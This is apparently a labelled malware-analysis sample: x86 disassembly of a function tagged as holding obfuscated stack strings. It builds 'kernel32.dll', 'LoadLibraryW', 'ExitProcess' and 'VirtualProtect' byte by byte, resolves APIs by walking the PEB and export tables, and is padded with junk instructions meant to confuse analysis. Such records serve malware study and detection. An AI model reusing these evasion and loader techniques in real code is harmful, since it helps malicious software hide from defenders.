Function at 0x10004d23
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
pop eax
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x504], ecx
jmp 0x10004cca
mov edx, dword [ebp - 0x504]
add edx, 1
mov dword [ebp - 0x504], edx
push eax
call 0x10004cda
add byte [edi], dh
dec edi
dec ebx
inc eax
inc edx
push eax
inc esi
push eax
add esp, 4
jmp 0x10004ce3
call 0x10004cf2
add byte [ebx], bh
xor al, 0x3a
inc edi
cmp esi, dword [esi + 0x4c48335]
sub eax, 0x7ed4
pop eax
mov eax, dword [ebp - 0x504]
sub eax, dword [ebp - 0x3f4]
cmp eax, 0xffffffff
jb 0x10004d44
push edx
add edx, 0xe46f
call 0x10004d23
add byte [ebx + 0x43], al
dec ecx
dec esi
dec ebp
xor edi, dword [edi]
inc ecx
inc ebp
add esp, 4
and edx, 0x7e46
pop edx
push edi
push esi
add esp, 4
sub edi, 0xdcaf
xor edi, 0x4b2a
pop edi
jmp 0x10004f72
mov dword [ebp - 0xc8c], 7
mov ecx, dword [ebp - 0x504]
mov dword [ebp - 0xac8], ecx
push edx
push eax
add esp, 4
jmp 0x10004d66
or edx, 0xc129
and edx, 0x5038
jmp 0x10004d77
pop edx
push eax
push ecx
add esp, 4
sub eax, 0x311b
jmp 0x10004d8b
pop eax
mov edx, dword [ebp - 0x15d8]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0x15d8]
jne 0x10004df3
push edx
push esi
add esp, 4
sub edx, 0x242c
pop edx
push edx
sub edx, 0xc186
call 0x10004dd0
add byte [edx], bh
dec ecx
cmp esi, dword [esi]
dec eax
dec edi
dec edi
add esp, 4
pop edx
push eax
and eax, 0x18604
and eax, 0x1240e
pop eax
mov ecx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], ecx
jmp 0x10004f24
cmp dword [ebp - 0xc8c], 0
jle 0x10004f18
push edi
sub edi, 0x735c
pop edi
push eax
push ecx
add esp, 4
sub eax, 0x44c7
pop eax
push edx
call 0x10004e25
add byte [edi], dh
dec ebp
inc ebp
inc eax
inc ecx
cmp dword [eax], edi
xor eax, 0xc483394a
add al, 0xeb
pop es
push eax
cmp eax, 0x3c3f484d
inc esp
pop edx
mov edx, dword [ebp - 0xac8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x10004eb4
push esi
push eax
add esp, 4
call 0x10004e5a
add byte [ecx + 0x42], al
aaa
inc edx
dec ebx
aaa
dec edi
add esp, 4
sub esi, 0x4f32
and esi, 0x10d71
call 0x10004e76
add byte [edi + 0x40], cl
cmp byte [esi + 0x37], al
aas
cmp eax, 0x5e04c483
mov eax, dword [ebp - 0xac8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x10004e9c
mov dword [ebp - 0x15dc], 1
jmp 0x10004ea6
mov dword [ebp - 0x15dc], 0xffffffff
mov ecx, dword [ebp - 0x15dc]
mov dword [ebp - 0xc90], ecx
jmp 0x10004f18
push edx
push ebx
add esp, 4
xor edx, 0x12424
jmp 0x10004ec6
and edx, 0xb18b
and edx, 0x1180f
pop edx
push ebx
and ebx, 0x10c57
and ebx, 0x171a1
jmp 0x10004ee5
pop ebx
mov edx, dword [ebp - 0xc8c]
sub edx, 1
mov dword [ebp - 0xc8c], edx
mov eax, dword [ebp - 0xac8]
add eax, 1
mov dword [ebp - 0xac8], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x10004df3
mov edx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], edx
cmp dword [ebp - 0x15a8], 0
jne 0x10004f6d
push ebx
push ebx
add esp, 4
jmp 0x10004f37
add ebx, 0xb685
add ebx, 0x2ada
jmp 0x10004f49
pop ebx
push edx
jmp 0x10004f50
jmp 0x10004f57
jmp 0x10004f5e
pop edx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0xac4], eax
jmp 0x10004fae
jmp 0x10004cbb
push esi
push ebx
add esp, 4
add esi, 0x5c94
or esi, 0xa664
and esi, 0x10639
pop esi
push ecx
or ecx, 0x2772
add ecx, 0x39cb
pop ecx
push edi
push edx
add esp, 4
and edi, 0x185ad
pop edi
mov dword [ebp - 0xac4], 0
push edi
xor edi, 0x6e8a
add edi, 0x2ca
and edi, 0x11fac
pop edi
push edi
push esi
add esp, 4
add edi, 0xa6c8
pop edi
push edi
push edi
add esp, 4
add edi, 0x13c29
add edi, 0x5fce
pop edi
mov byte [ebp - 0x87c], 0x45
mov byte [ebp - 0x87b], 0x78
mov byte [ebp - 0x87a], 0x69
mov byte [ebp - 0x879], 0x74
mov byte [ebp - 0x878], 0x50
mov byte [ebp - 0x877], 0x72
mov byte [ebp - 0x876], 0x6f
mov byte [ebp - 0x875], 0x63
mov byte [ebp - 0x874], 0x65
mov byte [ebp - 0x873], 0x73
mov byte [ebp - 0x872], 0x73
mov byte [ebp - 0x871], 0
push eax
push esi
add esp, 4
or eax, 0x160f4
or eax, 0x130c4
or eax, 0xcde5
pop eax
push edi
push esi
add esp, 4
and edi, 0x17f44
pop edi
push eax
and eax, 0x7801
or eax, 0x179cc
pop eax
mov ecx, 0x6b
mov word [ebp - 0x1740], cx
mov edx, 0x65
mov word [ebp - 0x173e], dx
mov eax, 0x72
mov word [ebp - 0x173c], ax
mov ecx, 0x6e
mov word [ebp - 0x173a], cx
mov edx, 0x65
mov word [ebp - 0x1738], dx
mov eax, 0x6c
mov word [ebp - 0x1736], ax
mov ecx, 0x33
mov word [ebp - 0x1734], cx
mov edx, 0x32
mov word [ebp - 0x1732], dx
mov eax, 0x2e
mov word [ebp - 0x1730], ax
mov ecx, 0x64
mov word [ebp - 0x172e], cx
mov edx, 0x6c
mov word [ebp - 0x172c], dx
mov eax, 0x6c
mov word [ebp - 0x172a], ax
xor ecx, ecx
mov word [ebp - 0x1728], cx
push ecx
jmp 0x10005107
call 0x10005114
add byte [ebx + 0x42], al
inc edi
inc ebp
inc ecx
dec esi
cmp al, 0x83
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [esi], bh
inc edx
inc edi
dec edi
xor al, 0x37
xor eax, 0x834d393d
les eax, [ecx + eax*4]
leave
stc
mov byte [eax], al
add byte [ecx + 0x51], bl
add ecx, 0x62ac
and ecx, 0xae53
add ecx, 0x13682
add ecx, 0x60ae
pop ecx
push edx
push ecx
add esp, 4
xor edx, 0x58f4
and edx, 0x22f7
and edx, 0x16811
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x200c], edx
mov eax, dword [ebp - 0x200c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1964], ecx
mov edx, dword [ebp - 0x1964]
mov dword [ebp - 0x15e0], edx
push ebx
push ebx
add esp, 4
add ebx, 0x16942
jmp 0x1000519c
pop ebx
push ebx
push eax
add esp, 4
and ebx, 0xd92f
add ebx, 0xc64c
or ebx, 0x1101f
pop ebx
push edi
xor edi, 0x163fd
pop edi
cmp dword [ebp - 0x15e0], 0
jne 0x100051d5
mov dword [ebp - 0x2d4], 0
jmp 0x10005491
mov eax, dword [ebp - 0x15e0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc9c], edx
push eax
push ecx
add esp, 4
add eax, 0xf124
or eax, 0x2a3e
call 0x10005207
add byte [ebp + 0x40], al
xor eax, 0x42484342
inc edx
aaa
add esp, 4
pop eax
push edx
and edx, 0xd081
jmp 0x10005218
pop edx
cmp dword [ebp - 0xc9c], 0
jne 0x10005231
mov dword [ebp - 0x2d4], 0
jmp 0x10005491
mov eax, dword [ebp - 0xc9c]
mov dword [ebp - 0x508], eax
push esi
call 0x1000524d
add byte [edi + 0x35], cl
dec esp
dec ebp
cmp byte [esp + ecx*2], dh
dec esp
xor al, byte [ebx + 0x565e04c4]
and esi, 0x13fe2
jmp 0x10005260
pop esi
push edi
and edi, 0x109de
or edi, 0x5397
pop edi
lea ecx, [ebp - 0x1740]
mov dword [ebp - 0xc98], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc94], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push edi
push eax
add esp, 4
and edi, 0x2710
pop edi
push eax
xor eax, 0x4ce4
sub eax, 0x9ee2
call 0x100052c4
add byte [edx + 0x39], cl
cmp ecx, dword [edi + 0x33]
cmp al, 0x40
inc ecx
cmp eax, dword [ebx - 0x3f7efb3c]
and dh, dh
add byte [eax], al
pop eax
mov eax, dword [ebp - 0xc94]
mov cx, word [eax]
mov word [ebp - 0x1036], cx
mov edx, dword [ebp - 0xc94]
add edx, 2
mov dword [ebp - 0xc94], edx
mov ax, word [ebp - 0x1036]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc98]
mov dx, word [ecx]
mov word [ebp - 0x1038], dx
mov eax, dword [ebp - 0xc98]
add eax, 2
mov dword [ebp - 0xc98], eax
mov cx, word [ebp - 0x1038]
mov word [ebp - 0x10c], cx
push ecx
push ecx
add esp, 4
and ecx, 0x2ec0
pop ecx
push esi
call 0x10005344
add byte [edi], bh
dec ebx
inc esp
push eax
inc esi
xor eax, 0x4c48334
and esi, 0x11d30
pop esi
push ebx
push edx
add esp, 4
or ebx, 0x2c5
pop ebx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x1000537d
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e8], eax
jmp 0x100053e0
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x1000529c
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x1000529c
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x100053ca
mov dword [ebp - 0x15e4], 0xffffffff
jmp 0x100053d4
mov dword [ebp - 0x15e4], 1
mov edx, dword [ebp - 0x15e4]
mov dword [ebp - 0x15e8], edx
cmp dword [ebp - 0x15e8], 0
jne 0x10005429
push ecx
push edi
add esp, 4
xor ecx, 0xd05f
or ecx, 0x2ea3
jmp 0x100053ff
pop ecx
push esi
sub esi, 0x11aa1
add esi, 0x116ee
jmp 0x10005414
xor esi, 0xb2d6
pop esi
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x2d4], eax
jmp 0x10005491
push ecx
sub ecx, 0x15b1b
pop ecx
push esi
push ebx
add esp, 4
sub esi, 0x79f2
xor esi, 0x8edd
pop esi
push edx
push edx
add esp, 4
or edx, 0x83d0
sub edx, 0x10090
xor edx, 0xcbf6
pop edx
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx]
mov dword [ebp - 0x508], edx
mov eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0xc9c]
je 0x10005487
mov ecx, dword [ebp - 0x508]
cmp dword [ecx + 0x30], 0
jne 0x1000523d
mov dword [ebp - 0x2d4], 0
push ecx
sub ecx, 0xb92e
xor ecx, 0xb564
xor ecx, 0xc65a
pop ecx
push edx
push edi
add esp, 4
and edx, 0x11e0e
or edx, 0xbcd8
and edx, 0x4048
add edx, 0xa57f
pop edx
cmp dword [ebp - 0x2d4], 0
jne 0x10005ddc
mov edx, 0x6b
mov word [ebp - 0x1784], dx
mov eax, 0x65
mov word [ebp - 0x1782], ax
mov ecx, 0x72
mov word [ebp - 0x1780], cx
mov edx, 0x6e
mov word [ebp - 0x177e], dx
mov eax, 0x65
mov word [ebp - 0x177c], ax
mov ecx, 0x6c
mov word [ebp - 0x177a], cx
mov edx, 0x33
mov word [ebp - 0x1778], dx
mov eax, 0x32
mov word [ebp - 0x1776], ax
mov ecx, 0x2e
mov word [ebp - 0x1774], cx
mov edx, 0x64
mov word [ebp - 0x1772], dx
mov eax, 0x6c
mov word [ebp - 0x1770], ax
mov ecx, 0x6c
mov word [ebp - 0x176e], cx
xor edx, edx
mov word [ebp - 0x176c], dx
push ebx
push ebx
add esp, 4
or ebx, 0xefaa
add ebx, 0xd528
sub ebx, 0x974
pop ebx
push esi
and esi, 0xe199
pop esi
push edi
push esi
add esp, 4
add edi, 0x17938
add edi, 0x8c6
pop edi
mov byte [ebp - 0x898], 0x4c
mov byte [ebp - 0x897], 0x6f
mov byte [ebp - 0x896], 0x61
mov byte [ebp - 0x895], 0x64
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x69
mov byte [ebp - 0x892], 0x62
mov byte [ebp - 0x891], 0x72
mov byte [ebp - 0x890], 0x61
mov byte [ebp - 0x88f], 0x72
mov byte [ebp - 0x88e], 0x79
mov byte [ebp - 0x88d], 0x57
mov byte [ebp - 0x88c], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1968], eax
mov ecx, dword [ebp - 0x1968]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x196c], edx
mov eax, dword [ebp - 0x196c]
mov dword [ebp - 0x15ec], eax
push ebx
or ebx, 0x106e2
add ebx, 0x2511
and ebx, 0x1751d
add ebx, 0xe55f
pop ebx
push esi
call 0x10005645
add byte [edx + 0x38], al
xor eax, 0x83424b4f
les eax, [ecx + eax*4]
out 0x73, al
dec ecx
add byte [eax], al
pop esi
cmp dword [ebp - 0x15ec], 0
jne 0x10005667
mov dword [ebp - 0x754], 0
jmp 0x10005923
mov ecx, dword [ebp - 0x15ec]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca8], eax
push edx
jmp 0x10005682
add edx, 0x11acc
call 0x10005695
add byte [edx + 0x41], cl
xor edi, dword [edi]
xor al, 0x38
cmp eax, dword [ebx + 0x505a04c4]
push edi
add esp, 4
or eax, 0x5d7c
sub eax, 0x2b89
pop eax
cmp dword [ebp - 0xca8], 0
jne 0x100056c3
mov dword [ebp - 0x754], 0
jmp 0x10005923
mov ecx, dword [ebp - 0xca8]
mov dword [ebp - 0x50c], ecx
push ecx
jmp 0x100056d7
and ecx, 0x137f6
pop ecx
push edi
push eax
add esp, 4
jmp 0x100056ec
jmp 0x100056f4
add edi, 0x15e8c
sub edi, 0xe819
pop edi
lea edx, [ebp - 0x1784]
mov dword [ebp - 0xca4], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xca0], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push ebx
push ebx
add esp, 4
add ebx, 0x10a57
sub ebx, 0x3ef9
pop ebx
push ecx
and ecx, 0xb810
or ecx, 0x1173c
pop ecx
push eax
push ecx
add esp, 4
and eax, 0xb72
sub eax, 0x17a6d
pop eax
mov ecx, dword [ebp - 0xca0]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xca0]
add eax, 2
mov dword [ebp - 0xca0], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca4]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xca4]
add ecx, 2
mov dword [ebp - 0xca4], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x110], dx
push eax
push esi
add esp, 4
sub eax, 0x9849
add eax, 0x10ae4
pop eax
push edx
call 0x100057dc
add byte [edx + esi], bh
cmp eax, dword [edx + eax*2 + 0x4e]
inc edx
aas
add esp, 4
and edx, 0x11dce
and edx, 0x8432
pop edx
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x1000580f
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15f4], ecx
jmp 0x10005872
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x1000572e
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x1000572e
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x1000585c
mov dword [ebp - 0x15f0], 0xffffffff
jmp 0x10005866
mov dword [ebp - 0x15f0], 1
mov eax, dword [ebp - 0x15f0]
mov dword [ebp - 0x15f4], eax
cmp dword [ebp - 0x15f4], 0
jne 0x100058bb
push ecx
push esi
add esp, 4
add ecx, 0x155a
jmp 0x1000588d
xor ecx, 0x90d3
pop ecx
push edx
call 0x100058a3
add byte [ebx + eax*2], dh
inc edx
inc esi
xor cl, byte ds:[ebp + 0x50]
add esp, 4
sub edx, 0x10515
pop edx
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x754], ecx
jmp 0x10005923
push ebx
push edi
add esp, 4
add ebx, 0x4aba
jmp 0x100058ce
and ebx, 0xa257
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0xe7f7
sub ebx, 0x6c06
or ebx, 0x895c
pop ebx
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xca8]
je 0x10005919
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x100056cf
mov dword [ebp - 0x754], 0
push ebx
call 0x10005930
add byte [ebx + edi], dh
cmp byte [0xc483364c], dh
add al, 0x81
ret
push ebx
push esi
add esp, 4
sub ebx, 0x15a29
pop ebx
push eax
push ebx
add esp, 4
or eax, 0x15860
pop eax
push edi
push ecx
add esp, 4
xor edi, 0x9087
sub edi, 0x11c62
pop edi
push esi
sub esi, 0x809b
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1988], eax
mov ecx, dword [ebp - 0x1988]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x198c], edx
mov eax, dword [ebp - 0x198c]
mov dword [ebp - 0x1604], eax
push edi
call 0x10005e43
add byte [edi + 0x40], al
dec edx
dec edx
dec ebp
aaa
aas
add esp, 4
and edi, 0xc286
sub edi, 0xb784
pop edi
push esi
xor esi, 0x12c5
pop esi
push edi
push esi
add esp, 4
xor edi, 0xf9b4
pop edi
cmp dword [ebp - 0x1604], 0
jne 0x10005e7f
mov dword [ebp - 0x2d4], 0
jmp 0x10006126
mov ecx, dword [ebp - 0x1604]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb8], eax
push esi
and esi, 0x13aea
sub esi, 0x138f
and esi, 0xfb92
and esi, 0x15043
pop esi
push ebx
call 0x10005eb9
add byte [0x3f44403d], bh
inc eax
dec esi
add esp, 4
add ebx, 0xf909
pop ebx
cmp dword [ebp - 0xcb8], 0
jne 0x10005edb
mov dword [ebp - 0x2d4], 0
jmp 0x10006126
mov ecx, dword [ebp - 0xcb8]
mov dword [ebp - 0x510], ecx
push esi
or esi, 0x14302
add esi, 0x12638
pop esi
push edi
push eax
add esp, 4
and edi, 0x166c6
xor edi, 0xd43d
pop edi
push esi
push ecx
add esp, 4
or esi, 0xee12
sub esi, 0x41f5
pop esi
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcb4], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcb0], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
push ecx
add esp, 4
add edi, 0x21fc
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x5eba
pop ecx
push edx
sub edx, 0xd23
sub edx, 0x6d27
and edx, 0xe3b6
sub edx, 0x10264
pop edx
mov ecx, dword [ebp - 0xcb0]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcb0]
add eax, 2
mov dword [ebp - 0xcb0], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb4]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcb4]
add ecx, 2
mov dword [ebp - 0xcb4], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x34], dx
push ebx
push edx
add esp, 4
xor ebx, 0xa16c
jmp 0x10005fdf
sub ebx, 0x17524
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0x29a6
add ebx, 0x13ec5
and ebx, 0x181aa
pop ebx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x1000601b
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x160c], ecx
jmp 0x10006075
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x10005f43
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x10005f43
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x1000605f
mov dword [ebp - 0x1608], 0xffffffff
jmp 0x10006069
mov dword [ebp - 0x1608], 1
mov eax, dword [ebp - 0x1608]
mov dword [ebp - 0x160c], eax
cmp dword [ebp - 0x160c], 0
jne 0x100060be
push edx
and edx, 0xd7d2
or edx, 0xa7ab
pop edx
push eax
push edx
add esp, 4
or eax, 0x95d7
xor eax, 0xf264
sub eax, 0xc0ee
pop eax
push edx
push ebx
add esp, 4
and edx, 0x1039
pop edx
mov ecx, dword [ebp - 0x510]
mov dword [ebp - 0x2d4], ecx
jmp 0x10006126
push esi
xor esi, 0x11203
pop esi
push edx
push ecx
add esp, 4
add edx, 0x6476
sub edx, 0xba1
or edx, 0x1092b
call 0x100060ec
add byte [edx + 0x33], cl
dec edx
cmp eax, 0x474e334b
xor al, byte [ebx - 0x74a5fb3c]
xchg ebp, eax
invalid
push ecx
push edx
add esp, 4
add ecx, 0x17113
xor ecx, 0x61fd
xor ecx, 0x9a3e
pop ecx
push eax
and eax, 0x134a8
xor eax, 0x124f6
xor eax, 0x8b77
jmp 0x10006157
pop eax
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push ebx
push ebx
add esp, 4
jmp 0x10006173
or ebx, 0xbd86
pop ebx
push esi
or esi, 0x9280
add esi, 0xe5b1
pop esi
push edi
jmp 0x1000618f
jmp 0x10006198
pop edi
mov dword [ebp - 0x774], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1610], edx
cmp dword [ebp - 0x1610], 0
jne 0x100061c9
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x100064ba
mov ecx, dword [ebp - 0x1610]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1614], edx
jne 0x100061f1
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x100064ba
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1614]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1618], ecx
cmp dword [ebp - 0x1618], 0
jne 0x10006223
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
jmp 0x100064ba
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1618]
mov dword [ebp - 0x768], eax
jne 0x10006248
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x514], ecx
jmp 0x100064ba
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1990], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1994], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1998], ecx
mov dword [ebp - 0x76c], 0
jmp 0x100062a2
mov edx, dword [ebp - 0x76c]
add edx, 1
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x76c]
cmp ecx, dword [eax + 0x18]
jae 0x100064ae
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x1990]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x770], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x1994]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1998]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d20], eax
mov dword [ebp - 0x198], 0
jmp 0x10006312
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x100063c4
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
test edx, edx
je 0x100063c4
push edx
push esi
add esp, 4
and edx, 0x143c1
pop edx
push esi
and esi, 0x6324
and esi, 0x1648b
add esi, 0x2da5
pop esi
push edi
push edi
add esp, 4
and edi, 0x66e7
and edi, 0xf015
pop edi
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
cmp ecx, eax
je 0x100063b6
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
jne 0x100063bd
jmp 0x10006303
jmp 0x100063c4
push edx
push edx
add esp, 4
jmp 0x100063cf
xor edx, 0x136cc
pop edx
push edi
and edi, 0x8475
and edi, 0x62dc
pop edi
push edx
push edx
add esp, 4
or edx, 0x14c04
and edx, 0x22fb
pop edx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
cmp eax, edx
jne 0x10006423
mov dword [ebp - 0xcbc], 0
jmp 0x10006492
push edi
call 0x10006430
add byte [edi], bh
push eax
xor al, 0x3d
xor dh, byte [esi]
add esp, 4
sub edi, 0x12deb
call 0x10006449
add byte [edx], dh
inc ebp
dec ebx
cmp cl, byte [eax + 0x35]
cmp al, 0x3b
aaa
inc ebp
add esp, 4
pop edi
push ecx
jmp 0x10006454
pop ecx
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
or eax, 0x20
cmp ecx, eax
jge 0x10006488
mov dword [ebp - 0xcbc], 0xffffffff
jmp 0x10006492
mov dword [ebp - 0xcbc], 1
cmp dword [ebp - 0xcbc], 0
jne 0x100064a9
mov ecx, dword [ebp - 0x1d20]
mov dword [ebp - 0x514], ecx
jmp 0x100064ba
jmp 0x10006293
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x7a0], eax
push eax
jmp 0x100064cc
sub eax, 0x83f4
xor eax, 0xedcc
pop eax
push ecx
xor ecx, 0x2aa3
pop ecx
push edi
add edi, 0xdab
jmp 0x100064f1
sub edi, 0x10e51
pop edi
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x19e8], ecx
push edx
sub edx, 0x1783e
call 0x1000651b
add byte [edi + 0x3c], cl
cmp dh, byte [0x8348433c]
les eax, [edx + ebx*2]
push esi
push ecx
add esp, 4
add esi, 0x43f8
or esi, 0x17961
jmp 0x10006538
pop esi
cmp dword [ebp - 0x3e4], 0
je 0x1000654b
cmp dword [ebp - 0xac4], 0
jne 0x10006591
push esi
or esi, 0xb350
pop esi
push eax
push edx
add esp, 4
call 0x10006567
add byte [ecx + 0x3d], al
dec eax
cmp dword [eax], edi
inc esp
cmp byte [eax + 0x49], al
add esp, 4
pop eax
push ebx
push eax
add esp, 4
sub ebx, 0x1513d
xor ebx, 0x8418
pop ebx
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x199c], edx
push 0
call dword [ebp - 0x199c]
mov dword [ebp - 0x20b4], 0xa
push edi
push ebx
add esp, 4
xor edi, 0x166dc
jmp 0x100065ac
add edi, 0x23f0
xor edi, 0x17349
pop edi
push esi
xor esi, 0x9956
add esi, 0xdf21
and esi, 0x1259
pop esi
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push edx
push ebx
add esp, 4
xor edx, 0x5664
sub edx, 0x6898
add edx, 0x15183
xor edx, 0xdcc9
pop edx
push esi
push edx
add esp, 4
jmp 0x10006623
add esi, 0x86d4
pop esi
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
